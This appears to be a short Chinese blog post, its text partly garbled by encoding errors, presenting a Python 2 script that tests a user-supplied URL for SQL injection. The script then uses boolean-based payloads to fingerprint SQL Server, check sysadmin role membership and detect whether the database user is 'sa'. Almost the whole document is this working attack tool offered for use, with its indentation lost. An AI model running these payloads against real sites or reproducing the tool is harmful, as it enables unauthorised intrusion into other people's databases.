無聊的時(shí)候，用Python寫的一個(gè)小程序，用有注入點(diǎn)的鏈接，檢測(cè)當(dāng)前數(shù)據(jù)庫(kù)用戶是否為sa，沒什么技術(shù)含量。

# Code by zhaoxiaobu Email: little.bu@hotmail.com

#-*- coding: UTF-8 -*-

from sys import exit

from urllib import urlopen

from string import join,strip

from re import search

def is_sqlable():

sql1="%20and%201=2"

sql2="%20and%201=1"

urlfile1=urlopen(url+sql1)

urlfile2=urlopen(url+sql2)

htmlcodes1=urlfile1.read()

htmlcodes2=urlfile2.read()

if not search(judge,htmlcodes1) and search(judge,htmlcodes2):

print "[信息]恭喜!這個(gè)URL是有注入漏洞的!n"

print "[信息]現(xiàn)在判斷數(shù)據(jù)庫(kù)是否是SQL Server,請(qǐng)耐心等候....."

is_SQLServer()

else:

print "[錯(cuò)誤]你確定這個(gè)URL能用?換個(gè)別的試試吧!n"

def is_SQLServer():

sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"

urlfile=urlopen(url+sql)

htmlcodes=urlfile.read()

if not search(judge,htmlcodes):

print "[錯(cuò)誤]數(shù)據(jù)庫(kù)好像不是SQL Server的!n"

else:

print "[信息]確認(rèn)是SQL Server數(shù)據(jù)庫(kù)!n"

print "[信息]開始檢測(cè)當(dāng)前數(shù)據(jù)庫(kù)用戶權(quán)限,請(qǐng)耐心等待......"

is_sysadmin()

def is_sysadmin():

sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"

urlfile = urlopen(url+sql)

htmlcodes = urlfile.read()

if not search(judge,htmlcodes):

print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫(kù)用戶不具有sysadmin權(quán)限!n"

else:

print "[信息]當(dāng)前數(shù)據(jù)庫(kù)用戶具有sysadmin權(quán)限!n"

print "[信息]檢測(cè)當(dāng)前用戶是不是SA,請(qǐng)耐心等待......"

is_sa()

def is_sa():

sql = "%20and%20'sa'=(select%20System_user)";

urlfile = urlopen(url+sql)

htmlcodes = urlfile.read()

if not search(judge,htmlcodes):

print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫(kù)用戶不是SA!n"

else:

print "[信息]當(dāng)前數(shù)據(jù)庫(kù)用戶是SA!n"

print "n########################################################################n"

print " ^o^SQL Server注入利用工具^o^ "

print " Email: little.bu@hotmail.comn"

print "========================================================================";

url = raw_input('[信息]請(qǐng)輸入一個(gè)可能有注入漏洞的鏈接!nURL:')

if url == '':

print "[錯(cuò)誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"

exit(1)

judge = raw_input("[信息]請(qǐng)?zhí)峁┮粋€(gè)判斷字符串.n判斷字符串:")

if judge == '':

print "[錯(cuò)誤]判斷字符串不能為空!"

exit(1)

is_sqlable()

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